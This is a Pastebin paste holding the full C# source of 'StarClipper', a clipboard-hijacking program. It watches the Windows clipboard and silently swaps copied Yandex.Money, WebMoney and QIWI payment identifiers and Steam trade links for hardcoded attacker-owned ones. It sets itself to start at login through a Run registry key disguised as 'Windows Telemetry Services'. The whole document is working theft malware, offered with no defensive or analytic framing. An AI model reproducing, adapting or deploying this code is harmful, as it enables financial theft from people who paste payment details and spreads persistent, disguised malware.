Advertisement
Guest User

Untitled

a guest
Dec 15th, 2018
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.77 KB | None | 0 0
  1. using Microsoft.Win32;
  2. using System;
  3. using System.Collections.Generic;
  4. using System.Linq;
  5. using System.Runtime.InteropServices;
  6. using System.Threading;
  7. using System.Windows.Forms;
  8.  
  9. namespace StarClipper
  10. {
  11. class Program
  12. {
  13. static String YANDEX_MONEY = "410018266548626";
  14. static String WEBMONEY_WMZ = "Z057492488946 ";
  15. static String WEBMONEY_WMR = "R594411110980";
  16. static String STEAMTRADE_LINK = "https://steamcommunity.com/tradeoffer/new/?partner=885823414&token=p5tjwXqd";
  17. static String QIWI = "+79122276846";
  18. static List<String> Letters = new List<string>() { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" };
  19. static List<String> Nums = new List<string>() { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0" };
  20. static void Checker(ClipboardFormat format, object data)
  21. {
  22. try
  23. {
  24. string buffer;
  25. if (Clipboard.ContainsText() && Clipboard.GetText().Length > 0)
  26. buffer = Clipboard.GetText();
  27. else
  28. return;
  29. if (!buffer.Contains(' ') && !buffer.Contains("http") && !buffer.Contains("www"))
  30. {
  31. if (buffer.Length >= 11 && buffer.Length <= 16 && buffer.StartsWith("410"))
  32. {
  33. Clipboard.SetText(YANDEX_MONEY);
  34. }
  35. if (buffer.Length == 12 || buffer.Length == 13)
  36. {
  37. if (buffer.StartsWith("R"))
  38. Clipboard.SetText(WEBMONEY_WMR);
  39. if (buffer.StartsWith("Z"))
  40. Clipboard.SetText(WEBMONEY_WMZ);
  41. }
  42. if (buffer.StartsWith("+375") || buffer.StartsWith("+7") || buffer.StartsWith("+373") || buffer.StartsWith("+380") || buffer.StartsWith("+994") || (buffer.Length == 11 && buffer.StartsWith("8")) || (buffer.Length == 10 && buffer.StartsWith("9")))
  43. {
  44. Clipboard.SetText(QIWI);
  45. }
  46. if (buffer.StartsWith(@"https://steamcommunity.com/tradeoffer/new/?partner"))
  47. {
  48. Clipboard.SetText(STEAMTRADE_LINK);
  49. }
  50.  
  51. }
  52. }
  53. catch
  54. {
  55.  
  56. }
  57. }
  58. static bool CryptoChecker(string buffer)
  59. {
  60. bool temp1 = false;
  61. bool temp2 = false;
  62. bool temp3 = false;
  63. foreach(var letter in Letters)
  64. {
  65. if (buffer.Contains(letter))
  66. temp1 = true;
  67. if (buffer.Contains(letter.ToUpper()))
  68. temp2 = true;
  69. if (temp1 && temp2)
  70. break;
  71. }
  72. foreach(var num in Nums)
  73. {
  74. if (buffer.Contains(num))
  75. temp3 = true;
  76. }
  77. if (temp1 && temp2 && temp3)
  78. return true;
  79. else
  80. return false;
  81. }
  82. static void Main(string[] args)
  83. {
  84. try
  85. {
  86. SetAutorunValue(true);
  87. ClipboardMonitor.OnClipboardChange += Checker;
  88. ClipboardMonitor.Start();
  89. }
  90. catch
  91. {
  92.  
  93. }
  94. }
  95. public static bool SetAutorunValue(bool autorun)
  96. {
  97. string ExePath = Application.ExecutablePath;
  98. RegistryKey reg;
  99. reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
  100. const string name = "Windows Telemetry Services";
  101. try
  102. {
  103. if (autorun)
  104. reg.SetValue(name, ExePath);
  105. else
  106. reg.DeleteValue(name);
  107.  
  108. reg.Close();
  109. }
  110. catch
  111. {
  112. return false;
  113. }
  114. return true;
  115. }
  116. }
  117. public static class ClipboardMonitor
  118. {
  119. public delegate void OnClipboardChangeEventHandler(ClipboardFormat format, object data);
  120. public static event OnClipboardChangeEventHandler OnClipboardChange;
  121.  
  122. public static void Start()
  123. {
  124. ClipboardWatcher.Start();
  125. ClipboardWatcher.OnClipboardChange += (ClipboardFormat format, object data) =>
  126. {
  127. OnClipboardChange?.Invoke(format, data);
  128. };
  129. }
  130.  
  131. public static void Stop()
  132. {
  133. OnClipboardChange = null;
  134. ClipboardWatcher.Stop();
  135. }
  136.  
  137. class ClipboardWatcher : Form
  138. {
  139. private static ClipboardWatcher mInstance;
  140. static IntPtr nextClipboardViewer;
  141. public delegate void OnClipboardChangeEventHandler(ClipboardFormat format, object data);
  142. public static event OnClipboardChangeEventHandler OnClipboardChange;
  143. public static void Start()
  144. {
  145. if (mInstance != null)
  146. return;
  147.  
  148. var t = new Thread(new ParameterizedThreadStart(x => Application.Run(new ClipboardWatcher())));
  149. t.SetApartmentState(ApartmentState.STA);
  150. t.Start();
  151. }
  152.  
  153. public static void Stop()
  154. {
  155. mInstance.Invoke(new MethodInvoker(() =>
  156. {
  157. ChangeClipboardChain(mInstance.Handle, nextClipboardViewer);
  158. }));
  159. mInstance.Invoke(new MethodInvoker(mInstance.Close));
  160. mInstance.Dispose();
  161. mInstance = null;
  162. }
  163. protected override void SetVisibleCore(bool value)
  164. {
  165. CreateHandle();
  166.  
  167. mInstance = this;
  168.  
  169. nextClipboardViewer = SetClipboardViewer(mInstance.Handle);
  170.  
  171. base.SetVisibleCore(false);
  172. }
  173.  
  174. [DllImport("User32.dll", CharSet = CharSet.Auto)]
  175. private static extern IntPtr SetClipboardViewer(IntPtr hWndNewViewer);
  176.  
  177. [DllImport("User32.dll", CharSet = CharSet.Auto)]
  178. private static extern bool ChangeClipboardChain(IntPtr hWndRemove, IntPtr hWndNewNext);
  179.  
  180. [DllImport("user32.dll", CharSet = CharSet.Auto)]
  181. private static extern int SendMessage(IntPtr hwnd, int wMsg, IntPtr wParam, IntPtr lParam);
  182.  
  183. const int WM_DRAWCLIPBOARD = 0x308;
  184. const int WM_CHANGECBCHAIN = 0x030D;
  185.  
  186. protected override void WndProc(ref Message m)
  187. {
  188. switch (m.Msg)
  189. {
  190. case WM_DRAWCLIPBOARD:
  191. ClipChanged();
  192. SendMessage(nextClipboardViewer, m.Msg, m.WParam, m.LParam);
  193. break;
  194.  
  195. case WM_CHANGECBCHAIN:
  196. if (m.WParam == nextClipboardViewer)
  197. nextClipboardViewer = m.LParam;
  198. else
  199. SendMessage(nextClipboardViewer, m.Msg, m.WParam, m.LParam);
  200. break;
  201.  
  202. default:
  203. base.WndProc(ref m);
  204. break;
  205. }
  206. }
  207.  
  208. static readonly string[] formats = Enum.GetNames(typeof(ClipboardFormat));
  209.  
  210. private void ClipChanged()
  211. {
  212. IDataObject iData = Clipboard.GetDataObject();
  213.  
  214. ClipboardFormat? format = null;
  215.  
  216. foreach (var f in formats)
  217. {
  218. if (iData.GetDataPresent(f))
  219. {
  220. format = (ClipboardFormat)Enum.Parse(typeof(ClipboardFormat), f);
  221. break;
  222. }
  223. }
  224. object data = iData.GetData(format.ToString());
  225.  
  226. if (data == null || format == null)
  227. return;
  228.  
  229. OnClipboardChange?.Invoke((ClipboardFormat)format, data);
  230. }
  231. }
  232. }
  233.  
  234. public enum ClipboardFormat : byte
  235. {
  236. Text,
  237. UnicodeText,
  238. Dib,
  239. Bitmap,
  240. EnhancedMetafile,
  241. MetafilePict,
  242. SymbolicLink,
  243. Dif,
  244. Tiff,
  245. OemText,
  246. Palette,
  247. PenData,
  248. Riff,
  249. WaveAudio,
  250. FileDrop,
  251. Locale,
  252. Html,
  253. Rtf,
  254. CommaSeparatedValue,
  255. StringFormat,
  256. Serializable,
  257. }
  258. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement